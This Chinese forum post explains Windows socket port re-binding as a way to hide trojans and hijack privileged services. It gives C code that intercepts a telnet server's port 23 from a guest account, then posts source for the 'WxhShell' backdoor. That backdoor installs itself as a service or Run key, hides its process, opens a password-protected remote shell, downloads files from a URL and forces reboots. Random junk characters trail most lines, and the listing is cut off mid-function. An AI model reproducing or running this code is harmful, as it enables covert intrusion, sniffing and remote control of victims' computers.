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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6X@z(EEL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <2)AbI+3  
{c*$i^T  
  saddr.sin_family = AF_INET; =c@hE'{  
ya&=UoI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); st) is4  
sa8O<Ab  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]W?cy  
5$ =[x!x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r^ Dm|^f#  
ZhY{,sy?QO  
  这意味着什么?意味着可以进行如下的攻击: $jMA(e`Ye0  
Tm`@5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k)3N0]q6  
/ <(|4e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,?yjsJd.  
TIJH} Ri  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X}Q4;='C-  
sGY}(9ED;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p-"C^=l  
\Hp!NbnF$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G|jHic!  
W%+02_/)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6{5T^^x?<  
_qE9]mU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U1:m=!S;x  
q%G[tXw  
  #include |y7TYjg6  
  #include 7D<Aa?cv_l  
  #include <9&GOaJ  
  #include    <zqIq9}r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -F/)-s6#!'  
  int main() Ei:m@}g  
  { X}'rPz\Lu  
  WORD wVersionRequested; lai@,_<GV  
  DWORD ret; 3DO*kM1s@  
  WSADATA wsaData; #!_4ZX  
  BOOL val; w(bvs&`{uC  
  SOCKADDR_IN saddr; D% *ww'mt0  
  SOCKADDR_IN scaddr; 9%kO%j,3  
  int err; N=u( 3So  
  SOCKET s; d1#lC*.Sg  
  SOCKET sc; Srw`vql{(  
  int caddsize; 8o:h/F  
  HANDLE mt; @wD#+Oz  
  DWORD tid;   fUvXb>f,  
  wVersionRequested = MAKEWORD( 2, 2 ); i+S%e,U*  
  err = WSAStartup( wVersionRequested, &wsaData ); *As"U99(  
  if ( err != 0 ) { <,O| fY%  
  printf("error!WSAStartup failed!\n"); ~Q"qz<WO  
  return -1; KOR*y(*8  
  } :JBt qpo2  
  saddr.sin_family = AF_INET; YP!}Bf  
   nEUH;z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V9ZM4.,OCN  
dgQ<>+9]6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D+AkV|  
  saddr.sin_port = htons(23); '~yxu$aK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xX%{i0E  
  { M.SF}U  
  printf("error!socket failed!\n"); iPCn-DoIS  
  return -1; 0 {d)f1  
  } fvta<  
  val = TRUE; cC9Zc#aK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LTx,oa:ma  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OtAAzc!dQ  
  { tHqa%  
  printf("error!setsockopt failed!\n"); \Dr( /n  
  return -1; GS>YfJ&DZ  
  } >`WQxkpy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kN*I_#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z1$ S(p=)L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z9MU%*N  
"KCG']DF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ',+Zqog92  
  { kg(}%Ih  
  ret=GetLastError(); z2R?GQ5 A  
  printf("error!bind failed!\n"); ',Z]w;D!G  
  return -1; U$@}!X  
  } wKcuIc$  
  listen(s,2); ?]*"S{Cqv  
  while(1) $<VH~Q<  
  { #xR=U"  
  caddsize = sizeof(scaddr); 25 U+L  
  //接受连接请求 rw 2i_,.*~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N3Q .4? z9  
  if(sc!=INVALID_SOCKET) !gsrPM  
  { ]"O* &  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J}-e9vK-#  
  if(mt==NULL) h0x'QiCc  
  { UZ-pN_!Z:  
  printf("Thread Creat Failed!\n"); $WRRCB/A6  
  break; [\0>@j}Z  
  } ^VnnYtCRz  
  } @d8Nr:  
  CloseHandle(mt); J`; 9Z  
  } 1JOoIC jB  
  closesocket(s); aU.!+e%_  
  WSACleanup(); $E8}||d  
  return 0; &\ad.O/Q  
  }   +~1FKLu  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;B }4pv}  
  { 9[ &q C  
  SOCKET ss = (SOCKET)lpParam; V<}chLd,  
  SOCKET sc; ,l,q;]C%  
  unsigned char buf[4096]; iTT7<x  
  SOCKADDR_IN saddr; x*X{*?5@  
  long num; 4UPxV"H  
  DWORD val; JCB3 BZg7&  
  DWORD ret; >%N,F`^3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q&:%/?)x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   oZL# *Z(h  
  saddr.sin_family = AF_INET; A&jR-%JG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5]kv1nQ  
  saddr.sin_port = htons(23); " w /Odd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LOwd mj  
  { 1bDXv, nD  
  printf("error!socket failed!\n"); ts,V+cEA  
  return -1; J9J/3O Q=  
  } fCX8s(|F  
  val = 100; ~?iQnQYI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) puh-\Q/P  
  { xNRMI!yv   
  ret = GetLastError(); ^ME'D  
  return -1; yKz%-6cpSl  
  } u3Zu ~C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >oi?aD%  
  { =?\%E[j  
  ret = GetLastError(); mM{cH=  
  return -1; d+ [2Sm(7  
  } D '% O<.m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _ib @<%  
  { NE Zu?g  
  printf("error!socket connect failed!\n"); {DUtdu[  
  closesocket(sc); ttBqp|.?S  
  closesocket(ss); nuA 0%K  
  return -1; Wn?),=WQ{  
  } aej'cbO  
  while(1) e:rbyzf#  
  { b9v<Jk  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `9T5Dem|#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'C>sYSL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bu08`P9  
  num = recv(ss,buf,4096,0); _lm^v%J$  
  if(num>0) )$d~HA@B  
  send(sc,buf,num,0); #veV {,g  
  else if(num==0) zXbA$c  
  break; $ 1m}lXk  
  num = recv(sc,buf,4096,0); nC!L<OMr  
  if(num>0) 4_$.gO  
  send(ss,buf,num,0); U9 mK^  
  else if(num==0) _]eyt_  
  break; kZi/2UA5Z  
  } MGr e_=Dm_  
  closesocket(ss); YPCitGBl  
  closesocket(sc); ,^DP  
  return 0 ; }-u%6KZ   
  } Ea-U+7JC  
6)20%*[  
+!$`0v   
========================================================== \F""G,AWq{  
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下边附上一个代码,,WXhSHELL 3iL\<^d*ht  
4x#tUzb;  
========================================================== E\p"%  
_c5*9')-)  
#include "stdafx.h" G!h75G20  
|f.,fVVV;  
#include <stdio.h> l@-h.tS  
#include <string.h> qOnGP{   
#include <windows.h> JZ&_1~Z=  
#include <winsock2.h> N0JdU4'  
#include <winsvc.h> ^6LnB#C&  
#include <urlmon.h> (vvD<S*  
J(w FJg\/  
#pragma comment (lib, "Ws2_32.lib") GS}JyU  
#pragma comment (lib, "urlmon.lib") 1-&L-c.  
>VX'`5r>uw  
#define MAX_USER   100 // 最大客户端连接数 Z_ Y'#5o#  
#define BUF_SOCK   200 // sock buffer 1EWZA  
#define KEY_BUFF   255 // 输入 buffer 1X9s\JKQ  
Gzg3{fXl  
#define REBOOT     0   // 重启 g-]~+7LL  
#define SHUTDOWN   1   // 关机 (Nv -wU  
Ndgx@LTQQ  
#define DEF_PORT   5000 // 监听端口 Q;A\M  
,|.}6\zl*{  
#define REG_LEN     16   // 注册表键长度 _mwt{D2r}  
#define SVC_LEN     80   // NT服务名长度 ;oDr8a<A  
l=(( >^i  
// 从dll定义API rPqM&&+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \xv(&94U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dg{d^>T!_x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e?*Teb ?R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s f->8  
R^ P>yk8  
// wxhshell配置信息 `Pc<0*`a  
struct WSCFG { @qj]`}Gx'  
  int ws_port;         // 监听端口 BMuEfa^  
  char ws_passstr[REG_LEN]; // 口令 t8rFn  
  int ws_autoins;       // 安装标记, 1=yes 0=no HEIg_6sb  
  char ws_regname[REG_LEN]; // 注册表键名 cC+2%q B  
  char ws_svcname[REG_LEN]; // 服务名 QCE7VV1Rw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7')W+`o8eL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X{OWDy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uLWu. Vx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :zLf~ W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -)VjjKz]8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^\?Rh(pu  
2A[hMbL  
}; *kg->J  
v$Hz)J.01  
// default Wxhshell configuration Q{L:pce-  
struct WSCFG wscfg={DEF_PORT, # #2'QNN  
    "xuhuanlingzhe", ^879sI  
    1, oW 6Hufu+o  
    "Wxhshell", Ve&_NVPrd  
    "Wxhshell", ?_Z -} f  
            "WxhShell Service", FiUwy/,ZV  
    "Wrsky Windows CmdShell Service", | |awNSt  
    "Please Input Your Password: ", |D"L!+J-$  
  1, J:Qx5;b;  
  "http://www.wrsky.com/wxhshell.exe", 3IlVSR^py  
  "Wxhshell.exe" NR1M W^R  
    }; >(S)aug$1  
H>+])~#  
// 消息定义模块 Q47R`"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Opcszq5n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f!w/zC .  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5)lcgvp  
char *msg_ws_ext="\n\rExit."; =2Yt[8';  
char *msg_ws_end="\n\rQuit."; Kq-1  b  
char *msg_ws_boot="\n\rReboot..."; Hy&Z0W'l  
char *msg_ws_poff="\n\rShutdown..."; YRX^fZ-b  
char *msg_ws_down="\n\rSave to "; 4^l9d  
8Sj<,+XFq  
char *msg_ws_err="\n\rErr!"; >RkaFcq  
char *msg_ws_ok="\n\rOK!"; k1f<(@*`  
wTU$jd1;+  
char ExeFile[MAX_PATH]; sA| SOAn  
int nUser = 0; `hkvxt  
HANDLE handles[MAX_USER]; R P<M  
int OsIsNt; v#%rjml[  
e,_Sj(R8  
SERVICE_STATUS       serviceStatus; vu\W5M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $Z#~wsw  
s.i9&1Y-!  
// 函数声明 _uMG?Sbx  
int Install(void); WX?nq'nr  
int Uninstall(void); `D~oY=  
int DownloadFile(char *sURL, SOCKET wsh); %"A8Af**I  
int Boot(int flag); jeRE(3'Q  
void HideProc(void); r*vh3.Agl  
int GetOsVer(void); Kgr<OL}VJ  
int Wxhshell(SOCKET wsl); &'W7-Z\j-  
void TalkWithClient(void *cs); )LFbz#;Y  
int CmdShell(SOCKET sock); E2>{ seZ  
int StartFromService(void); Yp;Z+!!UZ  
int StartWxhshell(LPSTR lpCmdLine); qm!oJL  
B+Qf? 1f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cy$~H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >ceC8"}J5M  
}={@_g#  
// 数据结构和表定义 O|8@cO  
SERVICE_TABLE_ENTRY DispatchTable[] = Rh^@1{yr  
{ xn2nh@;  
{wscfg.ws_svcname, NTServiceMain}, ) Su>8f[?e  
{NULL, NULL} |JIlp"[  
}; yO%^[c?  
u'l4=e  
// 自我安装 XYWyxx5`  
int Install(void) lOVcXAe}  
{ @iuX~QA[9  
  char svExeFile[MAX_PATH]; p-.kBF  
  HKEY key; )v_Wn[Y.H  
  strcpy(svExeFile,ExeFile); Gkuqe3  
cmXbkM  
// 如果是win9x系统,修改注册表设为自启动 I#(lxlp"Ho  
if(!OsIsNt) { |hika`35K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yHw @Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h6D4CT  
  RegCloseKey(key); )\u%XFPhS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <jV,VKL#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MygAmV&  
  RegCloseKey(key); 6}E>B{Y  
  return 0; JyE-c}I  
    } ZcXAqep8'  
  } GbQi3%  
} ZEI)U, I.  
else { qBBCnT  
E42)93~C  
// 如果是NT以上系统,安装为系统服务 .?6p~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?m*e$!M0  
if (schSCManager!=0) ~ q-Z-MA  
{ I+kAy;2  
  SC_HANDLE schService = CreateService t7-]OY7%w_  
  ( 7zw0 g~+  
  schSCManager, LhLAQ2~  
  wscfg.ws_svcname, e1W9"&4>G{  
  wscfg.ws_svcdisp, +I3Vfv  
  SERVICE_ALL_ACCESS, vz4( k/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hdew5Xn(:  
  SERVICE_AUTO_START, HN5661;8  
  SERVICE_ERROR_NORMAL, \bdKLcKI,  
  svExeFile, @)h>vg  
  NULL, IzTJ7E*i  
  NULL, )&O2l  
  NULL, `(HD'fud3  
  NULL, V_~lME  
  NULL !rRBy3&  
  ); 6m?<"y8]  
  if (schService!=0) 7/~=[#]*  
  { _" 9 q(1  
  CloseServiceHandle(schService); 5oG~Fc  
  CloseServiceHandle(schSCManager); 9 o,` peH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h_4*?w  
  strcat(svExeFile,wscfg.ws_svcname); W_M#Gi/ AL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ExtC\(X;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z4/D38_  
  RegCloseKey(key); e7GYz7  
  return 0; ;:bp?(  
    } vgy.fP"@  
  } Aeh #  
  CloseServiceHandle(schSCManager); sA?8i:]O:  
} "e"#k}z9  
} q~9-A+n  
kfnh1|D=aY  
return 1; ~Fh+y+g?  
} 23r(4  
m:)&:Y0 (a  
// 自我卸载 n8Qv8  
int Uninstall(void) 7vZO;FGtG  
{ "B: FSWM_-  
  HKEY key; Sa<(F[p`  
TQck$&  
if(!OsIsNt) { ;j1 SSHZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^Saf z8-3o  
  RegDeleteValue(key,wscfg.ws_regname); ZXs,TaU  
  RegCloseKey(key); 7T[$BrO\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D'!JV1Q  
  RegDeleteValue(key,wscfg.ws_regname); 8D)1ZUx7`  
  RegCloseKey(key); 8:& ! F`o  
  return 0; 3H!]X M  
  } 2!-Q!c`y  
} +m./RlQ{  
} hiVa\s  
else { v K{2  
*l`yxz@U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $!wU [/k  
if (schSCManager!=0) WS[Z[O  
{ L~PiDQr?r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yJ!26  
  if (schService!=0) GY?u+|Q  
  { 4eB'mPor  
  if(DeleteService(schService)!=0) { 05H:ZrUV  
  CloseServiceHandle(schService); pv0|6X?J"  
  CloseServiceHandle(schSCManager); >g !Z|ju  
  return 0; 3?j: M]fR  
  } -KC@M  
  CloseServiceHandle(schService); 7NRa&W2  
  } "=DQ {(L  
  CloseServiceHandle(schSCManager); J\+fkN<.  
} mQ1  
} fSd|6iFH  
KC}G_"f.$  
return 1; h'S0XU ;  
} 1y:fH4V  
\LJ!X3TZ  
// 从指定url下载文件 NpGi3>5  
int DownloadFile(char *sURL, SOCKET wsh) IN3-ZNx  
{ 1/mBp+D  
  HRESULT hr; =_=%1rI~  
char seps[]= "/"; >dK0&+A  
char *token; e+!xy&u@u  
char *file; (L4llZ;q  
char myURL[MAX_PATH]; 5yt=~  
char myFILE[MAX_PATH]; ZFMO;'m&  
|e!Y C iU  
strcpy(myURL,sURL); %|+aI?  
  token=strtok(myURL,seps); >y8>OJ?A7-  
  while(token!=NULL) \y271}'  
  { !D1#3?L  
    file=token; 3}V (8  
  token=strtok(NULL,seps); HdlO Ga6C  
  } H.iCYD_=  
\YJQN3^46>  
GetCurrentDirectory(MAX_PATH,myFILE); <v9IK$J  
strcat(myFILE, "\\"); {.oz^~zs]g  
strcat(myFILE, file); Kn$t_7AF^  
  send(wsh,myFILE,strlen(myFILE),0); J#H,QYnf(L  
send(wsh,"...",3,0); 7_3 PM 3C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q'jGNWep  
  if(hr==S_OK) 6@lZVM)E  
return 0; +cXi|Zf  
else LsI@_,XW<  
return 1; Xk!{UxQKQ  
#\N8E-d  
} %h0BA.r  
}BW&1*M{  
// 系统电源模块 l #C<bDw  
int Boot(int flag) @VHstjos^V  
{ P=}dR&gk'  
  HANDLE hToken; Zc38ht\r;  
  TOKEN_PRIVILEGES tkp; 4sSw7`  
5h Sd,#:  
  if(OsIsNt) { wvisu\V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o3Yb2Nw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MV3K'<Y  
    tkp.PrivilegeCount = 1; x(Uv>k~i}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xc-[gt6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3%Q<K=jy  
if(flag==REBOOT) { }vx 46  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (bsywM  
  return 0; ;2`t0#J$]  
} 2N |iOog  
else { I AUc.VH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2h<_?GM\s  
  return 0; qp*~  |  
} v1+.-hO  
  } @6|0H`kv  
  else { p;7wH\c  
if(flag==REBOOT) { hN0h'JJ[7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NMg(tmh  
  return 0; ?HOnDw.v1  
} GNwFB)?j  
else { G3!O@j!7w$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S{ F\_'%  
  return 0; RWu< dY#ym  
} Wn=I[K&&  
} p|qLr9\A  
~#so4<A`3  
return 1; p]~PyzG!  
} iu{;|E  
L{;Q6_m  
// win9x进程隐藏模块 !.iFU+?V  
void HideProc(void) "p+oi@  
{ }h/7M  
c>c4IQ&d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5>e<|@2 X  
  if ( hKernel != NULL ) )BaGY  
  { J?t(TW6E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :.BjJ2[S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6W]C`  
    FreeLibrary(hKernel); 1PWi~1q{Q  
  } w .M  
&{wRBl#  
return; 8eh3K8tL#  
} zcOm"-E-  
p}I\H ^"8+  
// 获取操作系统版本 *GhV1# <  
int GetOsVer(void)  L`Ys`7  
{ i 8cmT+}>  
  OSVERSIONINFO winfo; M $EHx[*5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i-WP#\s  
  GetVersionEx(&winfo); 8{icY|:MTN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wwR}h I(  
  return 1; zw5Ol%JF  
  else +g1+,?cU  
  return 0; ?hp,h3s;n$  
} \Q|,0`  
o?= &kx  
// 客户端句柄模块 +uNMyVH  
int Wxhshell(SOCKET wsl) "~Kph0-  
{ SuV3$-);z  
  SOCKET wsh; S5L0[SZ$!  
  struct sockaddr_in client; vkYiO]y  
  DWORD myID; ?vik2RW  
\SgBI/L^  
  while(nUser<MAX_USER) &(o&Y  
{ >G[:Q s  
  int nSize=sizeof(client); v y-(:aH7U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X*Q<REDB  
  if(wsh==INVALID_SOCKET) return 1; j@UE#I|h  
mZ?QtyljT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?d3<GhzlR3  
if(handles[nUser]==0) i_!$bk< yo  
  closesocket(wsh); Nd;pkssd  
else AS4oz:B  
  nUser++; zqXDD; w3  
  } 5VVU%STP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u<Ch]m+  
(\ |Go-2G  
  return 0; (II#9 n)  
} G ,`]2'(@  
rNke&z:%X_  
// 关闭 socket 4^ 0CHy  
void CloseIt(SOCKET wsh) O2lM;="  
{ Cf v1nU W  
closesocket(wsh); /Ea&Zm  
nUser--; W_ ;b e  
ExitThread(0); 3"Kap/[h  
} Y$ KR\ m  
au+:-Khm  
// 客户端请求句柄 ?cK67|%W  
void TalkWithClient(void *cs) e?GzvM'2  
{ DoN]v  
*^Z -4  
  SOCKET wsh=(SOCKET)cs; U4iVI#f  
  char pwd[SVC_LEN]; XE;' K`%  
  char cmd[KEY_BUFF]; [xdVuL;N  
char chr[1];  {yxLL-5c  
int i,j; z4]z3U<}3]  
m&MZn2u[4i  
  while (nUser < MAX_USER) { >@Na6BH5v  
x_(K%0+Ca  
if(wscfg.ws_passstr) { L5wFbc"u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zP$"6~.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cA90FqUH  
  //ZeroMemory(pwd,KEY_BUFF); I3ugBLxVC3  
      i=0; Gy'/)}}Z  
  while(i<SVC_LEN) { PFbkkQKsT  
MTbCL53!-  
  // 设置超时 Izfq`zS+\s  
  fd_set FdRead; 7G Jhc  
  struct timeval TimeOut; mF>{cVTF  
  FD_ZERO(&FdRead); Iqj?wI 1)  
  FD_SET(wsh,&FdRead); GIS,EwA  
  TimeOut.tv_sec=8; |A=~aQot  
  TimeOut.tv_usec=0; E7<l^/<2S+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >GDf* ox[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =< P$mFP2*  
BMn`t@!x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~KxK+ 6[ :  
  pwd=chr[0]; @~i : 8  
  if(chr[0]==0xd || chr[0]==0xa) { @[TSJi  
  pwd=0; anH]]  
  break; (J j'kW6G6  
  } 8(!?y[  
  i++; zpcO7AY~  
    } OHH\sA  
7v`~;}5  
  // 如果是非法用户,关闭 socket IKp/xj[!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *M6j)jqV  
} -_>E8PhM  
d(,M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N1l^%Yf J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YizwKcuZ  
f!B\X*|  
while(1) { aOmQ<N]a  
i~{0>"9  
  ZeroMemory(cmd,KEY_BUFF); y*-D  
uLt31G()  
      // 自动支持客户端 telnet标准   b C"rQJg  
  j=0; ca'c5*Fs  
  while(j<KEY_BUFF) { R]d934s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lQVK~8t3  
  cmd[j]=chr[0]; \IOF 9) F  
  if(chr[0]==0xa || chr[0]==0xd) { yONX?cS  
  cmd[j]=0; 58PL@H~@0  
  break; !*,m=*[3  
  } rpL]5e!  
  j++; wqJ1^>TB  
    } pH396GFIW  
dF+:9iiAm  
  // 下载文件 iMF-TR  
  if(strstr(cmd,"http://")) { *zv*T"&ZP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3o_@3-Y%  
  if(DownloadFile(cmd,wsh)) X1&c?T1 %[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bG]?AiW r  
  else U)_x(B3d/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B~u`bn,iQ  
  } BHS8MV L@  
  else { zCj#Nfm  
GAlM:>  
    switch(cmd[0]) { T{*!.+E  
  \WM"VT  
  // 帮助 rG'W#!^*  
  case '?': { 9@YhAj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y+M9{[ i/O  
    break; +QEiY~i  
  } 35~1$uRA  
  // 安装 Q'Y7PG9m~  
  case 'i': { v3r<kNW_  
    if(Install()) !eD f}~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B\quXE)  
    else A7aW]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k}e~xbh-y  
    break; W>E|Iv[o  
    } CD)JCv  
  // 卸载 +LaR_n[  
  case 'r': { R(#ZaFuo[  
    if(Uninstall()) p9~$}!ua  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BB? 4>#D  
    else ~lr,}K,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =L, 7~9  
    break; -~^sSLrbP  
    } WdTia o,r  
  // 显示 wxhshell 所在路径 MJy(B><  
  case 'p': { _kUtj(re  
    char svExeFile[MAX_PATH]; BSyS DM  
    strcpy(svExeFile,"\n\r"); Z<[:v2  
      strcat(svExeFile,ExeFile); ?GeMD /]  
        send(wsh,svExeFile,strlen(svExeFile),0); bA/'IF+  
    break; S H6T\}X:  
    } cA B<'44R  
  // 重启 =$\9t$A  
  case 'b': { "_n})s f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VH<-||X/4  
    if(Boot(REBOOT)) $)VnHr `hy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )^j62uv  
    else { l6pvQ|  
    closesocket(wsh); o}y(T07n  
    ExitThread(0); T< o8lL  
    } ria.MCe\!  
